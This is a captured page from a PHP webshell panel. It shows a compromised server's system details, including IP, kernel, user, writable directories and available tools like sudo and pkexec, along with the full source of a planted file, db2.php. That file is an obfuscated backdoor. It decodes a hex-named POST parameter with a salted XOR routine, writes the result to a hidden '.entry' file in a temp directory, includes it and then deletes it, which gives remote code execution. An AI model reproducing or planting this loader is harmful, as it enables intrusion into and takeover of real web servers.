403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Solum-construction/demo-job/search/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Solum-construction/demo-job/search/db2.php
<?php

if(!empty($_POST["it\x65\x6D"])){
	$dchunk = array_filter([session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]);
	$mrk = $_POST["it\x65\x6D"];
		$mrk  =explode	("."	, $mrk			)	;
	$data_chunk  ='';
            $salt3  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =strlen($salt3);
            $q  =0;
    
            $__tmp  =$mrk;
            while ($v1  =array_shift($__tmp)) {
                $sChar  =ord($salt3[$q %	 $lenS]);
                $d  =((int)$v1 - $sChar - ($q %	 10)) ^		39;
                $data_chunk 	.=chr($d);
                $q++;  } 
	$record = 0;
do {
    $desc = $dchunk[$record] ?? null;
    if ($record >= count($dchunk)) break;
    		if ((bool)is_dir($desc) && (bool)is_writable($desc)) {
    $ptr = sprintf("%s/.entry", $desc);
    if (file_put_contents($ptr, $data_chunk)) {
	include $ptr;
	@unlink($ptr);
	exit;
}
}
    $record++;
} while (true);
}

Youez - 2016 - github.com/yon3zu
LinuXploit